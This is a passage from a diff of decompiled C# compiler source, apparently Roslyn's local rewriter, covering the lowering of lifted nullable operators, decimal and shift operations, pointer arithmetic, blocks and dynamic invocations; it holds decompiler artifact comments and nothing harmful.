_factory.StoreToTemp(operand, out store, (RefKind)0, kind); + sideeffects.Add((BoundExpression)store); + locals.Add(boundLocal.LocalSymbol); + operand = boundLocal; + } + return operand; + } + + private BoundExpression? OptimizeLiftedBinaryArithmetic(SyntaxNode syntax, BinaryOperatorKind kind, BoundExpression left, BoundExpression right, TypeSymbol type, MethodSymbol? method, TypeSymbol? constrainedToTypeOpt) + { + BoundExpression boundExpression = TrivialLiftedBinaryArithmeticOptimizations(syntax, kind, left, right, type, method, constrainedToTypeOpt); + if (boundExpression != null) + { + return boundExpression; + } + if (kind == BinaryOperatorKind.LiftedBoolAnd || kind == BinaryOperatorKind.LiftedBoolOr) + { + return LowerLiftedBooleanOperator(syntax, kind, left, right); + } + boundExpression = OptimizeLiftedArithmeticOperatorOneNull(syntax, left, right, type); + if (boundExpression != null) + { + return boundExpression; + } + BoundExpression boundExpression2 = NullableAlwaysHasValue(right); + if (boundExpression2 != null && boundExpression2.ConstantValueOpt != (ConstantValue)null && left.Kind == BoundKind.Sequence) + { + BoundSequence boundSequence = (BoundSequence)left; + if (boundSequence.Value.Kind == BoundKind.ConditionalOperator) + { + BoundConditionalOperator boundConditionalOperator = (BoundConditionalOperator)boundSequence.Value; + if (NullableAlwaysHasValue(boundConditionalOperator.Consequence) != null && NullableNeverHasValue(boundConditionalOperator.Alternative)) + { + return new BoundSequence(syntax, boundSequence.Locals, boundSequence.SideEffects, RewriteConditionalOperator(syntax, boundConditionalOperator.Condition, MakeBinaryOperator(syntax, kind, boundConditionalOperator.Consequence, right, type, method, constrainedToTypeOpt), MakeBinaryOperator(syntax, kind, boundConditionalOperator.Alternative, right, type, method, constrainedToTypeOpt), null, type, isRef: false), type); + } + } + } + return null; + } + + private BoundExpression MakeNewNullableBoolean(SyntaxNode syntax, bool? value) + { + TypeSymbol specialType = _compilation.GetSpecialType((SpecialType)7); + NamedTypeSymbol orCreateNullableType = _compilation.GetOrCreateNullableType(specialType); + if (!value.HasValue) + { + return new BoundDefaultExpression(syntax, orCreateNullableType); + } + return new BoundObjectCreationExpression(syntax, UnsafeGetNullableMethod(syntax, orCreateNullableType, (SpecialMember)117), MakeBooleanConstant(syntax, value == true)); + } + + private BoundExpression? OptimizeLiftedBooleanOperatorOneNull(SyntaxNode syntax, BinaryOperatorKind kind, BoundExpression left, BoundExpression right) + { + bool flag = NullableNeverHasValue(left); + bool flag2 = NullableNeverHasValue(right); + if (!(flag || flag2)) + { + return null; + } + BoundExpression boundExpression = (flag ? left : right); + BoundExpression boundExpression2 = (flag ? right : left); + BoundExpression boundExpression3 = NullableAlwaysHasValue(boundExpression2); + BoundExpression boundExpression4 = new BoundDefaultExpression(syntax, boundExpression.Type); + if (boundExpression3 != null) + { + BoundExpression boundExpression5 = MakeNewNullableBoolean(syntax, kind == BinaryOperatorKind.LiftedBoolOr); + return RewriteConditionalOperator(syntax, boundExpression3, (kind == BinaryOperatorKind.LiftedBoolAnd) ? boundExpression4 : boundExpression5, (kind == BinaryOperatorKind.LiftedBoolAnd) ? boundExpression5 : boundExpression4, null, boundExpression.Type, isRef: false); + } + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(boundExpression2, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + BoundExpression rewrittenCondition = MakeOptimizedGetValueOrDefault(syntax, boundLocal); + BoundExpression rewrittenConsequence = ((kind == BinaryOperatorKind.LiftedBoolAnd) ? boundExpression4 : boundLocal); + BoundExpression rewrittenAlternative = ((kind == BinaryOperatorKind.LiftedBoolAnd) ? boundLocal : boundExpression4); + BoundExpression boundExpression6 = RewriteConditionalOperator(syntax, rewrittenCondition, rewrittenConsequence, rewrittenAlternative, null, boundExpression.Type, isRef: false); + return new BoundSequence(syntax, ImmutableArray.Create(boundLocal.LocalSymbol), ImmutableArray.Create((BoundExpression)store), boundExpression6, boundExpression6.Type); + } + + private BoundExpression? OptimizeLiftedBooleanOperatorOneNonNull(SyntaxNode syntax, BinaryOperatorKind kind, BoundExpression left, BoundExpression right) + { + BoundExpression boundExpression = NullableAlwaysHasValue(left); + BoundExpression boundExpression2 = NullableAlwaysHasValue(right); + if (boundExpression == null && boundExpression2 == null) + { + return null; + } + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(boundExpression ?? left, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + BoundAssignmentOperator store2; + BoundLocal boundLocal2 = _factory.StoreToTemp(boundExpression2 ?? right, out store2, (RefKind)0, (SynthesizedLocalKind)(-2)); + BoundLocal obj = ((boundExpression == null) ? boundLocal2 : boundLocal); + BoundExpression boundExpression3 = ((boundExpression == null) ? boundLocal : boundLocal2); + BoundExpression rewrittenCondition = obj; + BoundExpression boundExpression4 = MakeNewNullableBoolean(syntax, kind == BinaryOperatorKind.LiftedBoolOr); + BoundExpression rewrittenConsequence = ((kind == BinaryOperatorKind.LiftedBoolOr) ? boundExpression4 : boundExpression3); + BoundExpression rewrittenAlternative = ((kind == BinaryOperatorKind.LiftedBoolOr) ? boundExpression3 : boundExpression4); + BoundExpression boundExpression5 = RewriteConditionalOperator(syntax, rewrittenCondition, rewrittenConsequence, rewrittenAlternative, null, boundExpression4.Type, isRef: false); + return new BoundSequence(syntax, ImmutableArray.Create(boundLocal.LocalSymbol, boundLocal2.LocalSymbol), ImmutableArray.Create((BoundExpression)store, (BoundExpression)store2), boundExpression5, boundExpression5.Type); + } + + private BoundExpression LowerLiftedBooleanOperator(SyntaxNode syntax, BinaryOperatorKind kind, BoundExpression loweredLeft, BoundExpression loweredRight) + { + BoundExpression boundExpression = OptimizeLiftedBooleanOperatorOneNull(syntax, kind, loweredLeft, loweredRight); + if (boundExpression != null) + { + return boundExpression; + } + boundExpression = OptimizeLiftedBooleanOperatorOneNonNull(syntax, kind, loweredLeft, loweredRight); + if (boundExpression != null) + { + return boundExpression; + } + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(loweredLeft, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + BoundAssignmentOperator store2; + BoundLocal boundLocal2 = _factory.StoreToTemp(loweredRight, out store2, (RefKind)0, (SynthesizedLocalKind)(-2)); + TypeSymbol specialType = _compilation.GetSpecialType((SpecialType)7); + MethodSymbol method = UnsafeGetNullableMethod(syntax, boundLocal.Type, (SpecialMember)114); + MethodSymbol method2 = UnsafeGetNullableMethod(syntax, boundLocal2.Type, (SpecialMember)114); + BoundExpression loweredLeft2 = BoundCall.Synthesized(syntax, boundLocal, (ThreeState)0, method); + BoundExpression loweredLeft3 = BoundCall.Synthesized(syntax, boundLocal2, (ThreeState)0, method2); + BoundExpression loweredRight2 = _factory.MakeNullableHasValue(syntax, boundLocal); + BoundExpression loweredOperand = MakeBinaryOperator(syntax, BinaryOperatorKind.LogicalBoolOr, loweredLeft3, loweredRight2, specialType, null, null); + BoundExpression loweredRight3 = MakeUnaryOperator(UnaryOperatorKind.BoolLogicalNegation, syntax, null, null, loweredOperand, specialType); + BoundExpression rewrittenCondition = MakeBinaryOperator(syntax, BinaryOperatorKind.LogicalBoolOr, loweredLeft2, loweredRight3, specialType, null, null); + BoundExpression rewrittenConsequence = ((kind == BinaryOperatorKind.LiftedBoolAnd) ? boundLocal2 : boundLocal); + BoundExpression boundExpression2 = ((kind == BinaryOperatorKind.LiftedBoolAnd) ? boundLocal : boundLocal2); + BoundExpression boundExpression3 = RewriteConditionalOperator(syntax, rewrittenCondition, rewrittenConsequence, boundExpression2, null, boundExpression2.Type, isRef: false); + return new BoundSequence(syntax, ImmutableArray.Create(boundLocal.LocalSymbol, boundLocal2.LocalSymbol), ImmutableArray.Create((BoundExpression)store, (BoundExpression)store2), boundExpression3, boundExpression3.Type); + } + + private MethodSymbol UnsafeGetNullableMethod(SyntaxNode syntax, TypeSymbol nullableType, SpecialMember member) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return UnsafeGetNullableMethod(syntax, nullableType, member, _compilation, _diagnostics); + } + + internal static MethodSymbol UnsafeGetNullableMethod(SyntaxNode syntax, TypeSymbol nullableType, SpecialMember member, CSharpCompilation compilation, BindingDiagnosticBag diagnostics) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol newOwner = nullableType as NamedTypeSymbol; + return UnsafeGetSpecialTypeMethod(syntax, member, compilation, diagnostics).AsMember(newOwner); + } + + private bool TryGetNullableMethod(SyntaxNode syntax, TypeSymbol nullableType, SpecialMember member, out MethodSymbol result) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol newOwner = (NamedTypeSymbol)nullableType; + if (TryGetSpecialTypeMethod(syntax, member, out result)) + { + result = result.AsMember(newOwner); + return true; + } + return false; + } + + private BoundExpression RewriteNullableNullEquality(SyntaxNode syntax, BinaryOperatorKind kind, BoundExpression loweredLeft, BoundExpression loweredRight, TypeSymbol returnType) + { + BoundExpression boundExpression = (loweredRight.IsLiteralNull() ? loweredLeft : loweredRight); + if (NullableNeverHasValue(boundExpression)) + { + return MakeLiteral(syntax, ConstantValue.Create(kind == BinaryOperatorKind.NullableNullEqual), returnType); + } + BoundExpression boundExpression2 = NullableAlwaysHasValue(boundExpression); + if (boundExpression2 != null) + { + return new BoundSequence(syntax, ImmutableArray.Empty, ImmutableArray.Create(boundExpression2), MakeBooleanConstant(syntax, kind == BinaryOperatorKind.NullableNullNotEqual), returnType); + } + if (boundExpression is BoundLoweredConditionalAccess boundLoweredConditionalAccess && (boundLoweredConditionalAccess.WhenNullOpt == null || boundLoweredConditionalAccess.WhenNullOpt.IsDefaultValue())) + { + BoundExpression boundExpression3 = RewriteNullableNullEquality(syntax, kind, boundLoweredConditionalAccess.WhenNotNull, loweredLeft.IsLiteralNull() ? loweredLeft : loweredRight, returnType); + BoundExpression whenNullOpt = ((kind == BinaryOperatorKind.NullableNullEqual) ? MakeBooleanConstant(syntax, value: true) : null); + return boundLoweredConditionalAccess.Update(boundLoweredConditionalAccess.Receiver, boundLoweredConditionalAccess.HasValueMethodOpt, boundExpression3, whenNullOpt, boundLoweredConditionalAccess.Id, boundLoweredConditionalAccess.ForceCopyOfNullableValueType, boundExpression3.Type); + } + BoundExpression boundExpression4 = MakeNullableHasValue(syntax, boundExpression); + if (kind != BinaryOperatorKind.NullableNullNotEqual) + { + return new BoundUnaryOperator(syntax, UnaryOperatorKind.BoolLogicalNegation, boundExpression4, null, null, null, LookupResultKind.Viable, returnType); + } + return boundExpression4; + } + + private BoundExpression RewriteStringEquality(BoundBinaryOperator? oldNode, SyntaxNode syntax, BinaryOperatorKind operatorKind, BoundExpression loweredLeft, BoundExpression loweredRight, TypeSymbol type, SpecialMember member) + { + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + if (oldNode != null && (loweredLeft.ConstantValueOpt == ConstantValue.Null || loweredRight.ConstantValueOpt == ConstantValue.Null)) + { + return oldNode.Update(operatorKind, oldNode.ConstantValueOpt, oldNode.Method, oldNode.ConstrainedToType, oldNode.ResultKind, loweredLeft, loweredRight, type); + } + MethodSymbol method = UnsafeGetSpecialTypeMethod(syntax, member); + return BoundCall.Synthesized(syntax, null, (ThreeState)0, method, loweredLeft, loweredRight); + } + + private BoundExpression RewriteDelegateOperation(SyntaxNode syntax, BinaryOperatorKind operatorKind, BoundExpression loweredLeft, BoundExpression loweredRight, TypeSymbol type, SpecialMember member) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + //IL_00b1: Invalid comparison between Unknown and I4 + MethodSymbol methodSymbol; + if (operatorKind == BinaryOperatorKind.DelegateEqual || operatorKind == BinaryOperatorKind.DelegateNotEqual) + { + methodSymbol = (MethodSymbol)_compilation.Assembly.GetSpecialTypeMember(member); + if (loweredRight.IsLiteralNull() || loweredLeft.IsLiteralNull() || (object)(methodSymbol = (MethodSymbol)_compilation.Assembly.GetSpecialTypeMember(member)) == null) + { + operatorKind = (operatorKind & ~BinaryOperatorKind.Delegate) | BinaryOperatorKind.Object; + return new BoundBinaryOperator(syntax, operatorKind, null, null, null, LookupResultKind.Empty, loweredLeft, loweredRight, type); + } + } + else + { + methodSymbol = UnsafeGetSpecialTypeMethod(syntax, member); + } + BoundExpression boundExpression = (_inExpressionLambda ? ((BoundExpression)new BoundBinaryOperator(syntax, operatorKind, null, methodSymbol, null, LookupResultKind.Empty, loweredLeft, loweredRight, methodSymbol.ReturnType)) : ((BoundExpression)BoundCall.Synthesized(syntax, null, (ThreeState)0, methodSymbol, loweredLeft, loweredRight))); + if ((int)methodSymbol.ReturnType.SpecialType != 4) + { + return boundExpression; + } + return MakeConversionNode(syntax, boundExpression, Conversion.ExplicitReference, type, @checked: false); + } + + private BoundExpression RewriteDecimalBinaryOperation(SyntaxNode syntax, BoundExpression loweredLeft, BoundExpression loweredRight, BinaryOperatorKind operatorKind) + { + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Unknown result type (might be due to invalid IL or missing references) + //IL_00bd: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol method = UnsafeGetSpecialTypeMethod(syntax, (SpecialMember)(operatorKind switch + { + BinaryOperatorKind.DecimalAddition => 31, + BinaryOperatorKind.DecimalSubtraction => 32, + BinaryOperatorKind.DecimalMultiplication => 33, + BinaryOperatorKind.DecimalDivision => 34, + BinaryOperatorKind.DecimalRemainder => 35, + BinaryOperatorKind.DecimalEqual => 47, + BinaryOperatorKind.DecimalNotEqual => 48, + BinaryOperatorKind.DecimalLessThan => 51, + BinaryOperatorKind.DecimalLessThanOrEqual => 52, + BinaryOperatorKind.DecimalGreaterThan => 49, + BinaryOperatorKind.DecimalGreaterThanOrEqual => 50, + _ => throw ExceptionUtilities.UnexpectedValue((object)operatorKind), + })); + return BoundCall.Synthesized(syntax, null, (ThreeState)0, method, loweredLeft, loweredRight); + } + + private BoundExpression MakeNullCheck(SyntaxNode syntax, BoundExpression rewrittenExpr, BinaryOperatorKind operatorKind) + { + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Invalid comparison between Unknown and I4 + TypeSymbol type = rewrittenExpr.Type; + TypeSymbol specialType = _compilation.GetSpecialType((SpecialType)7); + if (rewrittenExpr.ConstantValueOpt != (ConstantValue)null) + { + switch (operatorKind) + { + case BinaryOperatorKind.Equal: + return MakeLiteral(syntax, ConstantValue.Create((object)rewrittenExpr.ConstantValueOpt.IsNull, (ConstantValueTypeDiscriminator)13), specialType); + case BinaryOperatorKind.NotEqual: + return MakeLiteral(syntax, ConstantValue.Create((object)(!rewrittenExpr.ConstantValueOpt.IsNull), (ConstantValueTypeDiscriminator)13), specialType); + } + } + TypeSymbol specialType2 = _compilation.GetSpecialType((SpecialType)1); + if ((object)type != null) + { + if ((int)type.Kind == 17) + { + rewrittenExpr = MakeConversionNode(syntax, rewrittenExpr, Conversion.Boxing, specialType2, @checked: false); + } + else if (type.IsNullableType()) + { + operatorKind |= BinaryOperatorKind.NullableNull; + } + } + return MakeBinaryOperator(syntax, operatorKind, rewrittenExpr, MakeLiteral(syntax, ConstantValue.Null, specialType2), specialType, null, null); + } + + private BoundExpression RewriteBuiltInShiftOperation(BoundBinaryOperator? oldNode, SyntaxNode syntax, BinaryOperatorKind operatorKind, BoundExpression loweredLeft, BoundExpression loweredRight, TypeSymbol type, int rightMask) + { + SyntaxNode syntax2 = loweredRight.Syntax; + ConstantValue constantValueOpt = loweredRight.ConstantValueOpt; + TypeSymbol type2 = loweredRight.Type; + if (constantValueOpt != (ConstantValue)null && constantValueOpt.IsIntegral) + { + int num = constantValueOpt.Int32Value & rightMask; + if (num == 0) + { + return loweredLeft; + } + loweredRight = MakeLiteral(syntax2, ConstantValue.Create(num), type2); + } + else + { + BinaryOperatorKind operatorKind2 = (operatorKind & ~BinaryOperatorKind.OpMask) | BinaryOperatorKind.And; + loweredRight = new BoundBinaryOperator(syntax2, operatorKind2, null, null, null, LookupResultKind.Viable, loweredRight, MakeLiteral(syntax2, ConstantValue.Create(rightMask), type2), type2); + } + if (oldNode != null) + { + return oldNode.Update(operatorKind, null, null, null, oldNode.ResultKind, loweredLeft, loweredRight, type); + } + return new BoundBinaryOperator(syntax, operatorKind, null, null, null, LookupResultKind.Viable, loweredLeft, loweredRight, type); + } + + private BoundExpression RewriteBuiltInNativeShiftOperation(BoundBinaryOperator? oldNode, SyntaxNode syntax, BinaryOperatorKind operatorKind, BoundExpression loweredLeft, BoundExpression loweredRight, TypeSymbol type) + { + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Invalid comparison between Unknown and I4 + TypeSymbol type2 = loweredLeft.Type; + ConstantValue constantValueOpt = loweredRight.ConstantValueOpt; + TypeSymbol type3 = loweredRight.Type; + SyntaxNode syntax2 = _factory.Syntax; + _factory.Syntax = loweredRight.Syntax; + if (constantValueOpt != (ConstantValue)null && (int)constantValueOpt.Discriminator == 6) + { + int int32Value = constantValueOpt.Int32Value; + if (int32Value >= 0 && int32Value <= 31) + { + int int32Value2 = constantValueOpt.Int32Value; + if (int32Value2 == 0) + { + return loweredLeft; + } + loweredRight = _factory.Literal(int32Value2); + goto IL_00d6; + } + } + BinaryOperatorKind kind = (operatorKind & ~BinaryOperatorKind.OpMask) | BinaryOperatorKind.And; + loweredRight = _factory.Binary(kind, type3, loweredRight, _factory.IntSubtract(_factory.IntMultiply(_factory.Sizeof(type2), _factory.Literal(8)), _factory.Literal(1))); + goto IL_00d6; + IL_00d6: + _factory.Syntax = syntax; + BoundBinaryOperator result = ((oldNode == null) ? _factory.Binary(operatorKind, type, loweredLeft, loweredRight) : oldNode.Update(operatorKind, null, null, null, oldNode.ResultKind, loweredLeft, loweredRight, type)); + _factory.Syntax = syntax2; + return result; + } + + private BoundExpression RewritePointerNumericOperator(SyntaxNode syntax, BinaryOperatorKind kind, BoundExpression loweredLeft, BoundExpression loweredRight, TypeSymbol returnType, bool isPointerElementAccess, bool isLeftPointer) + { + if (isLeftPointer) + { + loweredRight = MakeSizeOfMultiplication(loweredRight, (PointerTypeSymbol)loweredLeft.Type, kind.IsChecked()); + } + else + { + loweredLeft = MakeSizeOfMultiplication(loweredLeft, (PointerTypeSymbol)loweredRight.Type, kind.IsChecked()); + } + if (isPointerElementAccess) + { + kind &= ~BinaryOperatorKind.Checked; + } + return new BoundBinaryOperator(syntax, kind, null, null, null, LookupResultKind.Viable, loweredLeft, loweredRight, returnType); + } + + private BoundExpression MakeSizeOfMultiplication(BoundExpression numericOperand, PointerTypeSymbol pointerType, bool isChecked) + { + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0100: Unknown result type (might be due to invalid IL or missing references) + //IL_0103: Unknown result type (might be due to invalid IL or missing references) + //IL_0119: Expected I4, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Expected I4, but got Unknown + //IL_00bd: Unknown result type (might be due to invalid IL or missing references) + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + //IL_0220: Unknown result type (might be due to invalid IL or missing references) + //IL_00d3: Unknown result type (might be due to invalid IL or missing references) + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + //IL_00e4: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + BoundExpression boundExpression = _factory.Sizeof(pointerType.PointedAtType); + ConstantValue? constantValueOpt = numericOperand.ConstantValueOpt; + if (constantValueOpt != null && constantValueOpt.UInt64Value == 1) + { + return boundExpression; + } + SpecialType specialType = numericOperand.Type.SpecialType; + ConstantValue? constantValueOpt2 = boundExpression.ConstantValueOpt; + if (constantValueOpt2 != null && constantValueOpt2.Int32Value == 1) + { + SpecialType val = specialType; + switch (specialType - 13) + { + case 0: + if (isChecked) + { + ConstantValue constantValueOpt4 = numericOperand.ConstantValueOpt; + if (constantValueOpt4 == (ConstantValue)null || constantValueOpt4.Int32Value < 0) + { + val = (SpecialType)21; + } + } + break; + case 1: + { + ConstantValue constantValueOpt3 = numericOperand.ConstantValueOpt; + if (constantValueOpt3 == (ConstantValue)null || constantValueOpt3.UInt32Value > int.MaxValue) + { + val = (SpecialType)22; + } + break; + } + case 2: + val = (SpecialType)21; + break; + case 3: + val = (SpecialType)22; + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)specialType); + } + if (val != specialType) + { + return _factory.Convert(_factory.SpecialType(val), numericOperand, Conversion.IntegerToPointer); + } + return numericOperand; + } + BinaryOperatorKind binaryOperatorKind = BinaryOperatorKind.Multiplication; + TypeSymbol typeSymbol2; + TypeSymbol typeSymbol3; + switch (specialType - 13) + { + case 0: + { + TypeSymbol typeSymbol6 = _factory.SpecialType((SpecialType)21); + numericOperand = _factory.Convert(typeSymbol6, numericOperand, Conversion.IntegerToPointer, isChecked); + binaryOperatorKind |= BinaryOperatorKind.Int; + typeSymbol2 = typeSymbol6; + typeSymbol3 = typeSymbol6; + break; + } + case 1: + { + TypeSymbol typeSymbol5 = _factory.SpecialType((SpecialType)15); + NamedTypeSymbol namedTypeSymbol3 = _factory.SpecialType((SpecialType)21); + numericOperand = _factory.Convert(typeSymbol5, numericOperand, Conversion.ExplicitNumeric, isChecked); + boundExpression = _factory.Convert(typeSymbol5, boundExpression, Conversion.ExplicitNumeric, isChecked); + binaryOperatorKind |= BinaryOperatorKind.Long; + typeSymbol2 = typeSymbol5; + typeSymbol3 = namedTypeSymbol3; + break; + } + case 2: + { + TypeSymbol typeSymbol4 = _factory.SpecialType((SpecialType)15); + NamedTypeSymbol namedTypeSymbol2 = _factory.SpecialType((SpecialType)21); + boundExpression = _factory.Convert(typeSymbol4, boundExpression, Conversion.ExplicitNumeric, isChecked); + binaryOperatorKind |= BinaryOperatorKind.Long; + typeSymbol2 = typeSymbol4; + typeSymbol3 = namedTypeSymbol2; + break; + } + case 3: + { + TypeSymbol typeSymbol = _factory.SpecialType((SpecialType)16); + NamedTypeSymbol namedTypeSymbol = _factory.SpecialType((SpecialType)22); + boundExpression = _factory.Convert(typeSymbol, boundExpression, Conversion.ExplicitNumeric, isChecked); + binaryOperatorKind |= BinaryOperatorKind.ULong; + typeSymbol2 = typeSymbol; + typeSymbol3 = namedTypeSymbol; + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)specialType); + } + if (isChecked) + { + binaryOperatorKind |= BinaryOperatorKind.Checked; + } + BoundBinaryOperator boundBinaryOperator = _factory.Binary(binaryOperatorKind, typeSymbol2, numericOperand, boundExpression); + if (!TypeSymbol.Equals(typeSymbol3, typeSymbol2, (TypeCompareKind)0)) + { + return _factory.Convert(typeSymbol3, boundBinaryOperator, Conversion.IntegerToPointer); + } + return boundBinaryOperator; + } + + private BoundExpression RewritePointerSubtraction(BinaryOperatorKind kind, BoundExpression loweredLeft, BoundExpression loweredRight, TypeSymbol returnType) + { + PointerTypeSymbol pointerTypeSymbol = (PointerTypeSymbol)loweredLeft.Type; + BoundExpression right = _factory.Sizeof(pointerTypeSymbol.PointedAtType); + return _factory.Convert(returnType, _factory.Binary(BinaryOperatorKind.Division, _factory.SpecialType((SpecialType)21), _factory.Binary(kind & ~BinaryOperatorKind.Checked, returnType, loweredLeft, loweredRight), right), Conversion.PointerToInteger); + } + + public override BoundNode VisitBlock(BoundBlock node) + { + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + if (Instrument) + { + Instrumenter.PreInstrumentBlock(node, this); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder additionalLocals = _additionalLocals; + if (additionalLocals == null) + { + _additionalLocals = ArrayBuilder.GetInstance(); + } + try + { + VisitStatementSubList(instance, node.Statements); + TemporaryArray additionalLocals2 = TemporaryArray.Empty; + BoundBlockInstrumentation instrumentation = null; + if (Instrument) + { + Instrumenter.InstrumentBlock(node, this, ref additionalLocals2, out BoundStatement prologue, out BoundStatement epilogue, out instrumentation); + if (prologue != null) + { + instance.Insert(0, prologue); + } + if (epilogue != null) + { + instance.Add(epilogue); + } + } + ImmutableArray immutableArray = node.Locals; + if (additionalLocals == null) + { + immutableArray = immutableArray.AddRange((IEnumerable)_additionalLocals); + } + immutableArray = ImmutableArrayExtensions.AddRange(immutableArray, ref additionalLocals2); + return new BoundBlock(node.Syntax, immutableArray, node.LocalFunctions, node.HasUnsafeModifier, instrumentation, instance.ToImmutableAndFree(), node.HasErrors); + } + finally + { + if (additionalLocals == null) + { + _additionalLocals.Free(); + _additionalLocals = additionalLocals; + } + } + } + + public void VisitStatementSubList(ArrayBuilder builder, ImmutableArray statements, int startIndex = 0) + { + for (int i = startIndex; i < statements.Length; i++) + { + bool replacedLocalDeclarations; + BoundStatement boundStatement = VisitPossibleUsingDeclaration(statements[i], statements, i, out replacedLocalDeclarations); + if (boundStatement != null) + { + builder.Add(boundStatement); + } + if (replacedLocalDeclarations) + { + break; + } + } + } + + public BoundStatement? VisitPossibleUsingDeclaration(BoundStatement node, ImmutableArray statements, int statementIndex, out bool replacedLocalDeclarations) + { + switch (node.Kind) + { + case BoundKind.LabeledStatement: + { + BoundLabeledStatement boundLabeledStatement = (BoundLabeledStatement)node; + return MakeLabeledStatement(boundLabeledStatement, VisitPossibleUsingDeclaration(boundLabeledStatement.Body, statements, statementIndex, out replacedLocalDeclarations)); + } + case BoundKind.UsingLocalDeclarations: + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + VisitStatementSubList(instance, statements, statementIndex + 1); + replacedLocalDeclarations = true; + return MakeLocalUsingDeclarationStatement((BoundUsingLocalDeclarations)node, instance.ToImmutableAndFree()); + } + default: + replacedLocalDeclarations = false; + return VisitStatement(node); + } + } + + public override BoundNode VisitNoOpStatement(BoundNoOpStatement node) + { + if (!node.WasCompilerGenerated && Instrument) + { + return Instrumenter.InstrumentNoOpStatement(node, node); + } + return new BoundBlock(node.Syntax, ImmutableArray.Empty, ImmutableArray.Empty); + } + + public override BoundNode VisitBreakStatement(BoundBreakStatement node) + { + BoundStatement boundStatement = new BoundGotoStatement(node.Syntax, node.Label, node.HasErrors); + if (Instrument && !node.WasCompilerGenerated) + { + boundStatement = Instrumenter.InstrumentBreakStatement(node, boundStatement); + } + return boundStatement; + } + + public override BoundNode VisitDynamicInvocation(BoundDynamicInvocation node) + { + return VisitDynamicInvocation(node, resultDiscarded: false); + } + + public BoundExpression VisitDynamicInvocation(BoundDynamicInvocation node, bool resultDiscarded) + { + ImmutableArray loweredArguments = VisitList(node.Arguments); + BoundMethodGroup boundMethodGroup; + ImmutableArray typeArgumentsOpt; + string name; + bool flag; + BoundExpression boundExpression; + switch (node.Expression.Kind) + { + case BoundKind.MethodGroup: + boundMethodGroup = (BoundMethodGroup)node.Expression; + typeArgumentsOpt = boundMethodGroup.TypeArgumentsOpt; + name = boundMethodGroup.Name; + flag = ((uint?)boundMethodGroup.Flags & 2u) != 0; + if (boundMethodGroup.ReceiverOpt == null) + { + NamedTypeSymbol containingType = node.ApplicableMethods.First().ContainingType; + boundExpression = new BoundTypeExpression(node.Syntax, null, containingType); + } + else + { + if (flag) + { + MethodSymbol topLevelMethod = _factory.TopLevelMethod; + if ((object)topLevelMethod != null && !topLevelMethod.RequiresInstanceReceiver) + { + boundExpression = new BoundTypeExpression(node.Syntax, null, _factory.CurrentType); + goto IL_010b; + } + } + boundExpression = VisitExpression(boundMethodGroup.ReceiverOpt); + } + goto IL_010b; + case BoundKind.DynamicMemberAccess: + { + BoundDynamicMemberAccess boundDynamicMemberAccess = (BoundDynamicMemberAccess)node.Expression; + name = boundDynamicMemberAccess.Name; + typeArgumentsOpt = boundDynamicMemberAccess.TypeArgumentsOpt; + boundExpression = VisitExpression(boundDynamicMemberAccess.Receiver); + flag = false; + break; + } + default: + { + BoundExpression loweredReceiver = VisitExpression(node.Expression); + return _dynamicFactory.MakeDynamicInvocation(loweredReceiver, loweredArguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, resultDiscarded).ToExpression(); + } + IL_010b: + EmbedIfNeedTo(boundExpression, boundMethodGroup.Methods, node.Syntax); + break; + } + return _dynamicFactory.MakeDynamicMemberInvocation(name, boundExpression, typeArgumentsOpt, loweredArguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, flag, resultDiscarded).ToExpression(); + } + + private void EmbedIfNeedTo(BoundExpression receiver, ImmutableArray methods, SyntaxNode syntaxNode) + { + PEModuleBuilder emitModule = EmitModule; + if (emitModule == null || receiver == null || (object)receiver.Type == null) + { + return; + } + AssemblySymbol containingAssembly = receiver.Type.ContainingAssembly; + if ((object)containingAssembly != null && containingAssembly.IsLinked) + { + ImmutableArray.Enumerator enumerator = methods.GetEnumerator(); + while (enumerator.MoveNext()) + { + MethodSymbol current = enumerator.Current; + 